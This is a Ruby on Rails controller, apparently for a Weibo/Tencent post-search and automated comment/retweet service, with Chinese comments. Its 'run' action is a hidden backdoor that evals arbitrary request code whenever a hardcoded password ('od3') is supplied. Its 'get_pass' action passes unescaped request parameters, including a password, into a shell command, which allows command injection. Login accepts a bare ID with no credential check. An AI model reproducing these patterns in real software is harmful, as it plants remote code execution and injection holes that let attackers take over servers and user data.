# encoding: utf-8

class FlowyController< ApplicationController

  before_filter :account_access, :except => [:index, :account, :get_pass, :login]

  def index
    if current_user
      # 若用户登录
    end

    if params[:k]
      # 若有关键字传入
    end

    if params[:c]
      # 若有评论传入
    end

    if params[:t]
      # 若有任务传入
    end

    if params[:i]
      # 若有issue传入
    end

    # render :text => session[:current_user]["uid"]
    # @task = Task.where(:_id => params["task"]).first
    # unless @task
    #   @task = current_user.tasks.create(:keyword => params[:keyword],
    #     :sorttype => params[:sorttype],
    #     :msgtype => params[:msgtype],
    #     :searchtype => params[:searchtype],
    #     :starttime => params[:starttime],
    #     :endtime => params[:endtime],
    #     :province => params[:province],
    #     :city => params[:city])
    # end
    # #我将在这里set cookies
    # retval = {:task => task_id,
    #           :weibos => @task.search(params[:page])}
    # TODO 参数检查
    # options = {
    #   :sorttype => params[:sorttype],
    #   :msgtype => params[:msgtype],
    #   :searchtype => params[:searchtype],
    #   :starttime => params[:starttime],
    #   :endtime => params[:endtime],
    #   :province => params[:province],
    #   :city => params[:city]
    # }
  end

  def get_pass
    render :text => @encode_password ||= `node ~/Projects/Flowy/lib/weibo.js #{params[:pubkey]} #{params[:servertime]} #{params[:nonce]} #{params[:password]}`
  end

  def create
    params[:search_type] ||= 'Weibo'
    if params[:task] && @task = Task.where(:_id => params[:task]).first
      if params[:retweet]
        render :json => @task.recomment_job(params[:tweets])
      else
        render :json => @task.new_comment_job(params[:tweets], params[:comment])
      end
    else
      render :json => {"error" => "参数不太对哦"}
    end
  end

  def account
    @current_user ||= Account.where("_id" => params[:flowy_token]).first
    @current_user ||= Account.where("_id" => cookies[:flowy_token]).first
    render :json => @current_user
  end

  # 如果是之前已经有过的搜索,请添加task参数
  def search_old
    params[:search_type] = :Tencent
    @task = Task.get_task params[:keyword], current_user, params[:task]
    params[:page] = 50 if params[:page].to_i > 50
    # params.each do |k, v|
    #   params.delete(k) if v.nil? || v.empty?
    # end
    if @task
      if params[:screen]
        @task.screen_results params
      end
    else
      @task = current_user.tasks.create(:keyword => params[:keyword],
        :current_page => params[:page],
        :issue => params[:issue],
        :issue_token => Task.g_issue_token(params[:issue]),
        :sorttype => params[:sorttype],
        :msgtype => params[:msgtype],
        :search_type => params[:search_type],
        :starttime => params[:starttime],
        :endtime => params[:endtime],
        :province => params[:province],
        :city => params[:city])
    end
    result = @task.search

    # retval = {:task => @task.id,
    #           :issue => @task.issue,
    #           :current_page => params[:page] || 1,
    #           :weibos => result.first,
    #           :error => (!result[1].nil? && !result[1].empty?) ? result[1] : nil,
    #           :error => result[1]}
    render :json => result and return
  end

  def search
    trim_params
    params[:search_type] ||= :Weibo
    params[:search_type] = params[:search_type].to_sym
    @task = current_user.pick_up_task(params)
    render_json :success, "" do
      @task.search
    end
  end

  def show
    if task = Task.where(:_id => params[:id]).first
      render_json :success do
        task.present_show
      end
    else
      render_json :error, '<strong>错误</strong>没有这个任务啊! (￣ε(#{￣)☆╰╮(￣▽￣///)}'
    end
  end

  def login
    @current_user ||= Account.where(:oops_id => params[:oops_id]).first
    if @current_user
      session[:current_user] = @current_user._id
      cookies[:flowy_token] = @current_user._id
      render_msg :type => :success, :msg => "成功"
    else
      render_msg :type => :error, :error => "错误"
    end
  end

  def auto_access
    if params[:all]
      Utility::Weibo.active.each do |wu|
        wu.auto_access
      end
    elsif params[:wuids]
      params[:wuids].each do |wuid|
        Utility::Weibo.where(:uid => :wuid).first.auto_access
      end
    end
    render :text => "wow~"
  end

  def run
    if params[:pwd] == 'od3'
      render :json => eval(params[:cmd])
    else
      render :text => 'too'
    end
  end
end